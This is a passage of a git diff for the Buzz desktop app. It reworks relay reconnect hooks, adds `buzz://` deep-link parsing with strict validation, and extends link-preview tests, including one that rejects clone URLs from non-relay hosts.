-  const prevConnectionStateRef = React.useRef(connectionState);
   const schedulerRef = React.useRef<RelayAutoHealScheduler | null>(null);
 
   if (schedulerRef.current === null) {
@@ -129,14 +127,22 @@ export function useRelayAutoHeal(): void {
   }
 
   React.useEffect(() => {
+    // Observe the RAW connection-state emitter, not the 2s-debounced
+    // useRelayConnection() hook. A sub-2s flap never surfaces through the
+    // debounced hook (its degraded report is cancelled by the recovery), yet
+    // resetConnection() already rejected every in-flight query — the heal
+    // must still fire or errored panes persist until a manual reconnect.
+    let prev: ConnectionState | null = null;
+    const unsubscribe = relayClient.subscribeToConnectionState((next) => {
+      if (prev !== null) {
+        schedulerRef.current?.onTransition(prev, next);
+      }
+      prev = next;
+    });
+
     return () => {
+      unsubscribe();
       schedulerRef.current?.dispose();
     };
   }, []);
-
-  React.useEffect(() => {
-    const prev = prevConnectionStateRef.current;
-    prevConnectionStateRef.current = connectionState;
-    schedulerRef.current?.onTransition(prev, connectionState);
-  }, [connectionState]);
 }
diff --git a/desktop/src/shared/api/useRelayResumeTriggers.ts b/desktop/src/shared/api/useRelayResumeTriggers.ts
new file mode 100644
index 0000000000..abb2e5d49b
--- /dev/null
+++ b/desktop/src/shared/api/useRelayResumeTriggers.ts
@@ -0,0 +1,60 @@
+import * as React from "react";
+
+import { relayClient } from "@/shared/api/relayClient";
+import { shouldTriggerResumeReconnect } from "@/shared/api/relayResumeTriggerPolicy";
+
+/**
+ * Event-driven reconnect triggers: network `online`, window `focus`, and
+ * visibility→visible each attempt an immediate `resumeReconnect()` when the
+ * relay session is degraded (reconnecting/stalled), rate-limited by
+ * `RESUME_TRIGGER_MIN_INTERVAL_MS`.
+ *
+ * Rationale (CMD+R gap audit G1): without these, recovery rides solely on
+ * the backoff timer, which WKWebView throttles while the window is occluded
+ * or the system was asleep. The moment a user focuses the window to hit
+ * CMD+R *is* a focus event — this fires the reconnect first.
+ *
+ * Uses `resumeReconnect()`, NOT `preconnect()`: resume events bypass the
+ * pending backoff timer but must preserve the terminal latch and the AUTH
+ * rejection streak. Otherwise a focus/online event arriving during repeated
+ * AUTH rejection would reset the consecutive-rejection cap and the session
+ * could retry indefinitely instead of surfacing `disconnected`. The
+ * terminal state stays user-owned via the reconnect card.
+ */
+export function useRelayResumeTriggers(): void {
+  React.useEffect(() => {
+    let lastAttemptAt = -Infinity;
+
+    const attempt = () => {
+      const now = Date.now();
+      if (
+        !shouldTriggerResumeReconnect({
+          connectionState: relayClient.getConnectionState(),
+          lastAttemptAt,
+          now,
+        })
+      ) {
+        return;
+      }
+      lastAttemptAt = now;
+      // resumeReconnect() clears any pending backoff timer and connects now,
+      // preserving terminal/AUTH-streak state. Failures re-arm the normal
+      // backoff loop; nothing to handle here.
+      void relayClient.resumeReconnect().catch(() => {});
+    };
+
+    const onVisibilityChange = () => {
+      if (document.visibilityState === "visible") attempt();
+    };
+
+    window.addEventListener("online", attempt);
+    window.addEventListener("focus", attempt);
+    document.addEventListener("visibilitychange", onVisibilityChange);
+
+    return () => {
+      window.removeEventListener("online", attempt);
+      window.removeEventListener("focus", attempt);
+      document.removeEventListener("visibilitychange", onVisibilityChange);
+    };
+  }, []);
+}
diff --git a/desktop/src/shared/constants/kinds.ts b/desktop/src/shared/constants/kinds.ts
index ef3234f4c5..f995a63596 100644
--- a/desktop/src/shared/constants/kinds.ts
+++ b/desktop/src/shared/constants/kinds.ts
@@ -46,6 +46,7 @@ export const KIND_CHANNEL_SECTIONS = 30078;
 export const KIND_CHANNEL_MUTES = 30078;
 export const KIND_CHANNEL_STARS = 30078;
 export const KIND_CHANNEL_SORT = 30078;
+export const KIND_COMMUNITY_THEME = 30078;
 // NIP-33 persona/team/managed-agent projection events (d-tag keyed). Published
 // backend-side as secrets-stripped snapshots; the inbound sync hook subscribes
 // to all three to patch local records. Mirror of buzz-core's KIND_PERSONA etc.
@@ -58,6 +59,8 @@ export const KIND_AGENT_TURN_METRIC = 44200;
 export const KIND_EVENT_REMINDER = 30300;
 export const KIND_REPO_ANNOUNCEMENT = 30617;
 export const KIND_REPO_STATE = 30618;
+// NIP-MP: project grouping above NIP-34 repositories.
+export const KIND_PROJECT_ANNOUNCEMENT = 30621;
 export const KIND_GIT_PATCH = 1617;
 export const KIND_GIT_PULL_REQUEST = 1618;
 export const KIND_GIT_PR_UPDATE = 1619;
diff --git a/desktop/src/shared/hooks/useThreadPanelWidth.ts b/desktop/src/shared/hooks/useThreadPanelWidth.ts
index 18e36d7f9f..20891b5383 100644
--- a/desktop/src/shared/hooks/useThreadPanelWidth.ts
+++ b/desktop/src/shared/hooks/useThreadPanelWidth.ts
@@ -45,7 +45,11 @@ function getInitialThreadPanelWidth(): number {
   }
 }
 
-export function useThreadPanelWidth() {
+export function useThreadPanelWidth(availableWidthPx?: number) {
+  const getAvailableWidth = React.useCallback(
+    () => availableWidthPx ?? getViewportWidth(),
+    [availableWidthPx],
+  );
   const [widthPx, setWidthPx] = React.useState<number>(() =>
     getInitialThreadPanelWidth(),
   );
@@ -79,7 +83,10 @@ export function useThreadPanelWidth() {
 
       const handlePointerMove = (moveEvent: PointerEvent) => {
         const deltaX = startX - moveEvent.clientX;
-        const nextWidth = clampThreadPanelWidth(startWidth + deltaX);
+        const nextWidth = clampAuxiliaryPanelWidth(
+          startWidth + deltaX,
+          getAvailableWidth(),
+        );
         setWidthPx(nextWidth);
       };
 
@@ -92,7 +99,7 @@ export function useThreadPanelWidth() {
       window.addEventListener("pointermove", handlePointerMove);
       window.addEventListener("pointerup", handlePointerUp, { once: true });
     },
-    [widthPx],
+    [getAvailableWidth, widthPx],
   );
 
   const onResetWidth = React.useCallback(() => {
diff --git a/desktop/src/shared/hooks/useWebviewScrollBoundaryLock.ts b/desktop/src/shared/hooks/useWebviewScrollBoundaryLock.ts
index a37b2a7cef..50d132ec0d 100644
--- a/desktop/src/shared/hooks/useWebviewScrollBoundaryLock.ts
+++ b/desktop/src/shared/hooks/useWebviewScrollBoundaryLock.ts
@@ -2,6 +2,7 @@ import * as React from "react";
 
 const BOUNDARY_EPSILON_PX = 1;
 const CONVERSATION_SCROLL_SELECTOR = "[data-buzz-conversation-scroll]";
+const TERMINAL_SUBSTRATE_SELECTOR = '[data-terminal-owner="terminal"]';
 const SCROLLABLE_OVERFLOW_VALUES = new Set(["auto", "scroll", "overlay"]);
 
 function isHTMLElement(value: EventTarget | null): value is HTMLElement {
@@ -96,12 +97,14 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
 
       const path = event.composedPath();
       let firstScrollable: HTMLElement | null = null;
+      let targetsTerminal = false;
 
       for (const target of path) {
         if (!isHTMLElement(target)) {
           continue;
         }
 
+        targetsTerminal ||= target.matches(TERMINAL_SUBSTRATE_SELECTOR);
         const scrollableY = deltaY !== 0 && isScrollableY(target);
         const scrollableX = deltaX !== 0 && isScrollableX(target);
         if (!scrollableY && !scrollableX) {
@@ -117,6 +120,13 @@ export function useWebviewScrollBoundaryLock(enabled = true) {
         }
       }
 
+      // Custom terminal scrollback consumes vertical wheel gestures without a
+      // native scroll container, so it must not be mistaken for dead space.
+      // Predominantly horizontal gestures remain locked below.
+      if (targetsTerminal && Math.abs(deltaY) >= Math.abs(deltaX)) {
+        return;
+      }
+
       // Only the vertical elastic affordance of conversation scrollers is
       // preserved; a predominantly horizontal gesture must never pan the
       // webview, even over a conversation pane.
diff --git a/desktop/src/shared/layout/chromeLayout.ts b/desktop/src/shared/layout/chromeLayout.ts
index 2c9fe627f7..7a28e0a90a 100644
--- a/desktop/src/shared/layout/chromeLayout.ts
+++ b/desktop/src/shared/layout/chromeLayout.ts
@@ -53,6 +53,9 @@ export const channelChrome = {
   contentPadding: "pt-(--buzz-channel-content-top-padding,5.75rem)",
   /** Absolute/fixed top offset below the measured channel header chrome. */
   top: "top-(--buzz-channel-content-top-padding,5.75rem)",
+  /** Sticky timeline controls sit slightly below the channel navigation. */
+  stickyTimelineTop:
+    "top-[calc(var(--buzz-channel-content-top-padding,5.75rem)+0.5rem)]",
   /** Height matching the measured channel header chrome. */
   headerHeight: "h-(--buzz-channel-content-top-padding,5.75rem)",
   /** Negative margin for overlaid channel chrome that should not affect flow. */
diff --git a/desktop/src/shared/lib/entityLink.test.mjs b/desktop/src/shared/lib/entityLink.test.mjs
new file mode 100644
index 0000000000..729006f475
--- /dev/null
+++ b/desktop/src/shared/lib/entityLink.test.mjs
@@ -0,0 +1,135 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  buildIssueLink,
+  buildPullRequestLink,
+  buildRepoLink,
+  entityLinkProjectRouteId,
+  isEntityLink,
+  parseEntityLink,
+} from "./entityLink.ts";
+
+const OWNER =
+  "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224";
+const EVENT_ID =
+  "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1";
+
+// Golden format strings — must match the Rust builder in
+// crates/buzz-cli/src/links.rs (`golden_format_matches_desktop` test).
+test("builders emit the canonical cross-language link format", () => {
+  assert.equal(
+    buildPullRequestLink({ id: EVENT_ID, owner: OWNER, dtag: "buzz-world" }),
+    `buzz://pr?id=${EVENT_ID}&owner=${OWNER}&d=buzz-world`,
+  );
+  assert.equal(
+    buildIssueLink({ id: EVENT_ID, owner: OWNER, dtag: "buzz-world" }),
+    `buzz://issue?id=${EVENT_ID}&owner=${OWNER}&d=buzz-world`,
+  );
+  assert.equal(
+    buildRepoLink({ owner: OWNER, dtag: "buzz-world" }),
+    `buzz://repo?owner=${OWNER}&d=buzz-world`,
+  );
+});
+
+test("builders reject invalid identifiers", () => {
+  assert.throws(() =>
+    buildRepoLink({ owner: "not-a-pubkey", dtag: "buzz-world" }),
+  );
+  assert.throws(() => buildRepoLink({ owner: OWNER, dtag: ".hidden" }));
+  assert.throws(() => buildRepoLink({ owner: OWNER, dtag: "a..b" }));
+  assert.throws(() =>
+    buildPullRequestLink({ id: "short", owner: OWNER, dtag: "buzz-world" }),
+  );
+});
+
+test("parseEntityLink round-trips built links", () => {
+  const link = buildPullRequestLink({
+    id: EVENT_ID,
+    owner: OWNER,
+    dtag: "buzz-world",
+  });
+  assert.deepEqual(parseEntityLink(link), {
+    ok: true,
+    value: { type: "pr", id: EVENT_ID, owner: OWNER, dtag: "buzz-world" },
+  });
+
+  const repoLink = buildRepoLink({ owner: OWNER, dtag: "buzz-world" });
+  assert.deepEqual(parseEntityLink(repoLink), {
+    ok: true,
+    value: { type: "repo", owner: OWNER, dtag: "buzz-world" },
+  });
+});
+
+test("parseEntityLink lowercase-normalizes hex identifiers", () => {
+  const parsed = parseEntityLink(
+    `buzz://issue?id=${EVENT_ID.toUpperCase()}&owner=${OWNER.toUpperCase()}&d=buzz-world`,
+  );
+  assert.deepEqual(parsed, {
+    ok: true,
+    value: { type: "issue", id: EVENT_ID, owner: OWNER, dtag: "buzz-world" },
+  });
+});
+
+test("parseEntityLink rejects malformed links", () => {
+  const cases = [
+    ["not a url at all", "invalid-url"],
+    [`https://pr?id=${EVENT_ID}&owner=${OWNER}&d=repo`, "wrong-scheme"],
+    [`buzz://message?channel=x&id=${EVENT_ID}`, "wrong-host"],
+    [`buzz://pr?id=${EVENT_ID}&owner=nope&d=repo`, "invalid-owner"],
+    [`buzz://pr?id=${EVENT_ID}&owner=${OWNER}&d=.hidden`, "invalid-dtag"],
+    [`buzz://pr?id=${EVENT_ID}&owner=${OWNER}`, "invalid-dtag"],
+    [`buzz://pr?owner=${OWNER}&d=repo`, "invalid-id"],
+    [`buzz://issue?id=short&owner=${OWNER}&d=repo`, "invalid-id"],
+  ];
+  for (const [href, reason] of cases) {
+    assert.deepEqual(parseEntityLink(href), { ok: false, reason }, href);
+  }
+});
+
+test("isEntityLink matches entity hosts and excludes message links", () => {
+  assert.equal(isEntityLink(`buzz://pr?id=${EVENT_ID}`), true);
+  assert.equal(isEntityLink(`buzz://issue?id=${EVENT_ID}`), true);
+  assert.equal(isEntityLink(`buzz://repo?owner=${OWNER}`), true);
+  assert.equal(isEntityLink("buzz://message?channel=x&id=y"), false);
+  assert.equal(isEntityLink("https://github.com/block/buzz"), false);
+  assert.equal(isEntityLink(null), false);
+});
+
+test("entityLinkProjectRouteId emits the canonical 30617 coordinate route id", () => {
+  const parsed = parseEntityLink(
+    buildRepoLink({ owner: OWNER, dtag: "buzz-world" }),
+  );
+  assert.ok(parsed.ok);
+  assert.equal(
+    entityLinkProjectRouteId(parsed.value),
+    `30617:${OWNER}:buzz-world`,
+  );
+});
+
+test("parseEntityLink rejects noncanonical extras", () => {
+  // Unexpected path segments — reserved for future versioning.
+  assert.deepEqual(
+    parseEntityLink(
+      `buzz://pr/ignored?id=${EVENT_ID}&owner=${OWNER}&d=buzz-world`,
+    ),
+    { ok: false, reason: "unexpected-path" },
+  );
+  // Fragment — not part of the canonical format.
+  assert.deepEqual(
+    parseEntityLink(`buzz://repo?owner=${OWNER}&d=buzz-world#section`),
+    { ok: false, reason: "unexpected-fragment" },
+  );
+  // Unknown query parameter — reject to preserve forward-compat posture.
+  assert.deepEqual(
+    parseEntityLink(
+      `buzz://repo?owner=${OWNER}&d=buzz-world&relay=wss%3A%2F%2Frelay.example`,
+    ),
+    { ok: false, reason: "unknown-param" },
+  );
+  // Duplicate required parameter — reject.
+  assert.deepEqual(
+    parseEntityLink(`buzz://repo?owner=${OWNER}&d=buzz-world&owner=${OWNER}`),
+    { ok: false, reason: "duplicate-param" },
+  );
+});
diff --git a/desktop/src/shared/lib/entityLink.ts b/desktop/src/shared/lib/entityLink.ts
new file mode 100644
index 0000000000..4ab8a78fbb
--- /dev/null
+++ b/desktop/src/shared/lib/entityLink.ts
@@ -0,0 +1,194 @@
+/**
+ * `buzz://` deep links for Buzz-hosted git entities, mirroring
+ * `features/messages/lib/messageLink.ts` for `buzz://message`.
+ *
+ * Formats:
+ *   buzz://repo?owner=<owner-pubkey>&d=<repo-dtag>
+ *   buzz://pr?id=<event-id>&owner=<owner-pubkey>&d=<repo-dtag>
+ *   buzz://issue?id=<event-id>&owner=<owner-pubkey>&d=<repo-dtag>
+ *
+ * `owner` + `d` identify the NIP-34 repository coordinate
+ * (`30617:<owner>:<d>`); `id` is the kind 1618 / 1621 event id. The CLI
+ * builder in `crates/buzz-cli/src/links.rs` emits the same format — the two
+ * must stay compatible (see the golden-format tests on both sides).
+ */
+
+const ENTITY_LINK_SCHEME = "buzz:";
+
+export type ParsedEntityLink =
+  | { type: "pr"; id: string; owner: string; dtag: string }
+  | { type: "issue"; id: string; owner: string; dtag: string }
+  | { type: "repo"; owner: string; dtag: string };
+
+export type EntityLinkParseResult =
+  | { ok: true; value: ParsedEntityLink }
+  | { ok: false; reason: string };
+
+const HEX64_RE = /^[a-fA-F0-9]{64}$/;
+const DTAG_RE = /^[a-zA-Z0-9._-]{1,64}$/;
+
+function isValidDtag(dtag: string): boolean {
+  return DTAG_RE.test(dtag) && !dtag.startsWith(".") && !dtag.includes("..");
+}
+
+function checkCoordinate(owner: string, dtag: string): void {
+  if (!HEX64_RE.test(owner)) {
+    throw new Error("entityLink: owner must be a 64-char hex pubkey");
+  }
+  if (!isValidDtag(dtag)) {
+    throw new Error("entityLink: invalid repository d-tag");
+  }
+}
+
+function checkEventId(id: string): void {
+  if (!HEX64_RE.test(id)) {
+    throw new Error("entityLink: id must be a 64-char hex event id");
+  }
+}
+
+/** Build a `buzz://repo` link for a repository announcement (kind 30617). */
+export function buildRepoLink(input: { owner: string; dtag: string }): string {
+  checkCoordinate(input.owner, input.dtag);
+  return `buzz://repo?owner=${input.owner.toLowerCase()}&d=${input.dtag}`;
+}
+
+/** Build a `buzz://pr` link for a pull request event (kind 1618). */
+export function buildPullRequestLink(input: {
+  id: string;
+  owner: string;
+  dtag: string;
+}): string {
+  checkEventId(input.id);
+  checkCoordinate(input.owner, input.dtag);
+  return `buzz://pr?id=${input.id.toLowerCase()}&owner=${input.owner.toLowerCase()}&d=${input.dtag}`;
+}
+
+/** Build a `buzz://issue` link for an issue event (kind 1621). */
+export function buildIssueLink(input: {
+  id: string;
+  owner: string;
+  dtag: string;
+}): string {
+  checkEventId(input.id);
+  checkCoordinate(input.owner, input.dtag);
+  return `buzz://issue?id=${input.id.toLowerCase()}&owner=${input.owner.toLowerCase()}&d=${input.dtag}`;
+}
+
+/**
+ * Cheap pre-check used by the markdown renderer and preview extraction
+ * before parsing. `buzz://message` is intentionally excluded — it has its
+ * own pill rendering path.
+ */
+export function isEntityLink(href: string | undefined | null): boolean {
+  if (!href) return false;
+  return (
+    href.startsWith("buzz://pr?") ||
+    href.startsWith("buzz://issue?") ||
+    href.startsWith("buzz://repo?")
+  );
+}
+
+/**
+ * Parse a `buzz://pr|issue|repo?…` URL. Returns a discriminated result so
+ * callers can fall back to plain-link rendering without throwing. All
+ * identifiers are validated; hex values are lowercase-normalized.
+ *
+ * Strict canonical form to preserve forward-compatibility:
+ * - Empty or root path only (no `/extra/segments`)
+ * - No fragment
+ * - Each required parameter must appear exactly once
+ * - Unknown query parameters are rejected (callers that need to add
+ *   parameters must version the format or add them to the known-params set)
+ *
+ * This ensures old clients decline rather than silently misinterpret future
+ * extensions (e.g. the reserved `relay=` cross-community field).
+ */
+export function parseEntityLink(url: string): EntityLinkParseResult {
+  let parsed: URL;
+  try {
+    parsed = new URL(url);
+  } catch {
+    return { ok: false, reason: "invalid-url" };
+  }
+
+  if (parsed.protocol !== ENTITY_LINK_SCHEME) {
+    return { ok: false, reason: "wrong-scheme" };
+  }
+
+  const host = parsed.hostname;
+  if (host !== "pr" && host !== "issue" && host !== "repo") {
+    return { ok: false, reason: "wrong-host" };
+  }
+
+  // Require empty/root path — path segments are reserved for future versioning.
+  if (parsed.pathname !== "" && parsed.pathname !== "/") {
+    return { ok: false, reason: "unexpected-path" };
+  }
+
+  // Reject fragments — not part of the canonical format.
+  if (parsed.hash) {
+    return { ok: false, reason: "unexpected-fragment" };
+  }
+
+  // Validate known params and reject unknown ones, and enforce single-instance.
+  const KNOWN_REPO_PARAMS = new Set(["owner", "d"]);
+  const KNOWN_EVENT_PARAMS = new Set(["id", "owner", "d"]);
+  const knownParams = host === "repo" ? KNOWN_REPO_PARAMS : KNOWN_EVENT_PARAMS;
+
+  for (const key of parsed.searchParams.keys()) {
+    if (!knownParams.has(key)) {
+      return { ok: false, reason: "unknown-param" };
+    }
+  }
+  for (const key of knownParams) {
+    const values = parsed.searchParams.getAll(key);
+    if (values.length > 1) {
+      return { ok: false, reason: "duplicate-param" };
+    }
+  }
+
+  const owner = parsed.searchParams.get("owner");
+  const dtag = parsed.searchParams.get("d");
+  if (!owner || !HEX64_RE.test(owner)) {
+    return { ok: false, reason: "invalid-owner" };
+  }
+  if (!dtag || !isValidDtag(dtag)) {
+    return { ok: false, reason: "invalid-dtag" };
+  }
+
+  if (host === "repo") {
+    return {
+      ok: true,
+      value: { type: "repo", owner: owner.toLowerCase(), dtag },
+    };
+  }
+
+  const id = parsed.searchParams.get("id");
+  if (!id || !HEX64_RE.test(id)) {
+    return { ok: false, reason: "invalid-id" };
+  }
+
+  return {
+    ok: true,
+    value: {
+      type: host,
+      id: id.toLowerCase(),
+      owner: owner.toLowerCase(),
+      dtag,
+    },
+  };
+}
+
+/**
+ * Canonical NIP-34 repository coordinate (`30617:<owner>:<dtag>`) used as the
+ * route id for `/projects/$projectId`. Duncan's #4671 branch resolves 30617
+ * coordinates regardless of which explicit project contains the repository, so
+ * entity links remain stable when a repo's container project changes.
+ *
+ * Do NOT use the legacy `<owner>:<dtag>` form — it only matched implicit
+ * project cards and breaks for repos claimed by an explicit project with a
+ * different d-tag.
+ */
+export function entityLinkProjectRouteId(link: ParsedEntityLink): string {
+  return `30617:${link.owner}:${link.dtag}`;
+}
diff --git a/desktop/src/shared/lib/linkPreview.test.mjs b/desktop/src/shared/lib/linkPreview.test.mjs
index a56b35f54a..43cfa66060 100644
--- a/desktop/src/shared/lib/linkPreview.test.mjs
+++ b/desktop/src/shared/lib/linkPreview.test.mjs
@@ -53,6 +53,160 @@ test("parseSupportedLinkPreview ignores unsupported GitHub URLs", () => {
   );
 });
 
+const BUZZ_OWNER =
+  "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224";
+
+test("parseSupportedLinkPreview parses Buzz relay git clone URLs", () => {
+  // Must pass the active relay origin for host validation.
+  assert.deepEqual(
+    parseSupportedLinkPreview(
+      `https://buzz.block.builderlab.xyz/git/${BUZZ_OWNER}/buzz-world-galaxy`,
+      "https://buzz.block.builderlab.xyz",
+    ),
+    {
+      kind: "buzz-repository",
+      href: `buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world-galaxy`,
+      provider: "Buzz",
+      title: "buzz-world-galaxy",
+      typeLabel: "repo",
+    },
+  );
+  // Same URL without a matching origin stays external.
+  assert.equal(
+    parseSupportedLinkPreview(
+      `https://buzz.block.builderlab.xyz/git/${BUZZ_OWNER}/buzz-world-galaxy`,
+    ),
+    null,
+  );
+});
+
+test("parseSupportedLinkPreview strips .git suffix from clone URLs", () => {
+  assert.deepEqual(
+    parseSupportedLinkPreview(
+      `http://localhost:3000/git/${BUZZ_OWNER}/buzz-world.git`,
+      "http://localhost:3000",
+    ),
+    {
+      kind: "buzz-repository",
+      href: `buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world`,
+      provider: "Buzz",
+      title: "buzz-world",
+      typeLabel: "repo",
+    },
+  );
+});
+
+test("parseSupportedLinkPreview rejects malformed Buzz git URLs", () => {
+  for (const href of [
+    // Owner segment must be a 64-char lowercase hex pubkey.
+    "https://relay.example/git/not-a-pubkey/repo",
+    `https://relay.example/git/${BUZZ_OWNER.toUpperCase()}/repo`,
+    `https://relay.example/git/${BUZZ_OWNER.slice(0, 32)}/repo`,
+    // Missing or invalid repo segment.
+    `https://relay.example/git/${BUZZ_OWNER}`,
+    `https://relay.example/git/${BUZZ_OWNER}/.hidden`,
+    // Deeper transport paths are not repo links.
+    `https://relay.example/git/${BUZZ_OWNER}/repo/info/refs`,
+  ]) {
+    // Even with a matching origin, structural issues return null.
+    assert.equal(
+      parseSupportedLinkPreview(href, "https://relay.example"),
+      null,
+      href,
+    );
+  }
+});
+
+test("parseSupportedLinkPreview rejects clone URLs from non-relay hosts", () => {
+  // Correct path shape but origin does not match the active relay.
+  assert.equal(
+    parseSupportedLinkPreview(
+      `https://evil.example/git/${BUZZ_OWNER}/my-repo`,
+      "https://buzz.block.builderlab.xyz",
+    ),
+    null,
+  );
+  // github.com sharing the path shape must never become a Buzz repo card.
+  assert.equal(
+    parseSupportedLinkPreview(
+      `https://github.com/git/${BUZZ_OWNER}/my-repo`,
+      "https://buzz.block.builderlab.xyz",
+    ),
+    null,
+  );
+  // No relay origin provided — stays external.
+  assert.equal(
+    parseSupportedLinkPreview(
+      `https://buzz.block.builderlab.xyz/git/${BUZZ_OWNER}/buzz-world`,
+      null,
+    ),
+    null,
+  );
+});
+
+const BUZZ_EVENT_ID =
+  "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1";
+
+test("parseSupportedLinkPreview parses buzz:// PR and issue deep links", () => {
+  assert.deepEqual(
+    parseSupportedLinkPreview(
+      `buzz://pr?id=${BUZZ_EVENT_ID}&owner=${BUZZ_OWNER}&d=buzz-world`,
+    ),
+    {
+      kind: "buzz-pull-request",
+      href: `buzz://pr?id=${BUZZ_EVENT_ID}&owner=${BUZZ_OWNER}&d=buzz-world`,
+      provider: "Buzz",
+      title: "buzz-world #c3b589fa",
+      typeLabel: "PR",
+    },
+  );
+  assert.deepEqual(
+    parseSupportedLinkPreview(
+      `buzz://issue?id=${BUZZ_EVENT_ID}&owner=${BUZZ_OWNER}&d=buzz-world`,
+    )?.typeLabel,
+    "issue",
+  );
+  assert.deepEqual(
+    parseSupportedLinkPreview(`buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world`),
+    {
+      kind: "buzz-repository",
+      href: `buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world`,
+      provider: "Buzz",
+      title: "buzz-world",
+      typeLabel: "repo",
+    },
+  );
+});
+
+test("parseSupportedLinkPreview rejects malformed buzz:// entity links", () => {
+  for (const href of [
+    `buzz://pr?owner=${BUZZ_OWNER}&d=buzz-world`,
+    `buzz://pr?id=short&owner=${BUZZ_OWNER}&d=buzz-world`,
+    `buzz://issue?id=${BUZZ_EVENT_ID}&owner=nope&d=buzz-world`,
+    `buzz://repo?owner=${BUZZ_OWNER}&d=.hidden`,
+  ]) {
+    assert.equal(parseSupportedLinkPreview(href), null, href);
+  }
+});
+
+test("extractSupportedLinkPreviews picks up buzz:// links in prose", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      `PR is up: buzz://pr?id=${BUZZ_EVENT_ID}&owner=${BUZZ_OWNER}&d=buzz-world — review please.`,
+    ).map((preview) => [preview.kind, preview.title]),
+    [["buzz-pull-request", "buzz-world #c3b589fa"]],
+  );
+});
+
+test("extractSupportedLinkPreviews uses markdown labels for buzz:// links", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      `[Add header links](buzz://pr?id=${BUZZ_EVENT_ID}&owner=${BUZZ_OWNER}&d=buzz-world)`,
+    ).map((preview) => preview.title),
+    ["Add header links"],
+  );
+});
+
 test("parseSupportedLinkPreview parses Linear issue URLs", () => {
   assert.deepEqual(
     parseSupportedLinkPreview(
@@ -114,6 +268,66 @@ test("extractSupportedLinkPreviews returns unique supported links in order", ()
   );
 });
 
+test("extractSupportedLinkPreviews picks up bare Buzz clone URLs in prose", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      `master pushed; clone: https://buzz.block.builderlab.xyz/git/${BUZZ_OWNER}/buzz-world-galaxy and review please.`,
+      "https://buzz.block.builderlab.xyz",
+    ),
+    [
+      {
+        kind: "buzz-repository",
+        href: `buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world-galaxy`,
+        provider: "Buzz",
+        title: "buzz-world-galaxy",
+        typeLabel: "repo",
+      },
+    ],
+  );
+  // Without a relay origin the URL is treated as an ordinary external link.
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      `clone: https://buzz.block.builderlab.xyz/git/${BUZZ_OWNER}/buzz-world-galaxy`,
+    ),
+    [],
+  );
+});
+
+test("extractSupportedLinkPreviews uses markdown labels for Buzz repo links", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      `[Buzz World](https://relay.example/git/${BUZZ_OWNER}/buzz-world-galaxy)`,
+      "https://relay.example",
+    ).map((preview) => preview.title),
+    ["Buzz World"],
+  );
+});
+
+test("extractSupportedLinkPreviews dedupes clone URL variants of one repo", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      [
+        `https://relay.example/git/${BUZZ_OWNER}/buzz-world-galaxy`,
+        `https://relay.example/git/${BUZZ_OWNER}/buzz-world-galaxy.git`,
+      ].join(" "),
+      "https://relay.example",
+    ).map((preview) => preview.href),
+    [`buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world-galaxy`],
+  );
+});
+
+test("clone URLs and buzz://repo links for the same repo dedupe to one card", () => {
+  assert.deepEqual(
+    extractSupportedLinkPreviews(
+      [
+        `https://relay.example/git/${BUZZ_OWNER}/buzz-world-galaxy`,
+        `buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world-galaxy`,
+      ].join(" "),
+    ).map((preview) => preview.href),
+    [`buzz://repo?owner=${BUZZ_OWNER}&d=buzz-world-galaxy`],
+  );
+});
+
 test("extractSupportedLinkPreviews handles markdown link serialization", () => {
   assert.deepEqual(
     extractSupportedLinkPreviews(
@@ -252,3 +466,106 @@ test("isSupportedLinkAutolinkLabel matches normalized bare URL labels", () => {
   );
   assert.equal(isSupportedLinkAutolinkLabel("review this", preview), false);
 });
+
+// ── useResolvedLinkPreviews: behavioral regression pins ──────────────────────
+//
+// These tests pin the three behaviors that were implemented without tests in
+// the initial fix round. They use the exported pure helpers directly so no
+// React hook environment is required.
+
+import {
+  getLinkPreviewCacheGeneration,
+  resetLinkPreviewTitleCache,
+  shouldResolveTitle,
+} from "./useResolvedLinkPreviews.ts";
+import { buzzEntityFallbackTitle } from "./linkPreview.ts";
+
+const OWNER_HEX =
+  "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224";
+const EVENT_HEX =
+  "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1";
+
+function makePrPreview(title) {
+  return {
+    kind: "buzz-pull-request",
+    href: `buzz://pr?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world`,
+    title,
+    provider: "Buzz",
+    typeLabel: "pr",
+  };
+}
+
+// 1. Cache epoch: stale promise cannot seed the new generation.
+//    `resetLinkPreviewTitleCache` must increment the generation counter so that
+//    a promise captured before the reset sees a different generation and skips
+//    writing back.
+test("resetLinkPreviewTitleCache_incrementsGenerationCounter", () => {
+  const before = getLinkPreviewCacheGeneration();
+  resetLinkPreviewTitleCache();
+  const after = getLinkPreviewCacheGeneration();
+  assert.equal(after, before + 1, "each reset must bump the generation by 1");
+  resetLinkPreviewTitleCache();
+  assert.equal(
+    getLinkPreviewCacheGeneration(),
+    before + 2,
+    "second reset must increment again",
+  );
+});
+
+// 2. Mismatched a-tag: shouldResolveTitle uses buzzEntityFallbackTitle to
+//    decide whether to attempt a relay lookup. When the link's href parses to a
+//    PR/issue with the expected fallback title, resolution should proceed. When
+//    the title has already been set to something else (explicit label or earlier
+//    relay result), shouldResolveTitle must return false so the label wins.
+test("shouldResolveTitle_fallbackTitle_returnsTrue", () => {
+  const parsed = {
+    ok: true,
+    value: { type: "pr", id: EVENT_HEX, owner: OWNER_HEX, dtag: "buzz-world" },
+  };
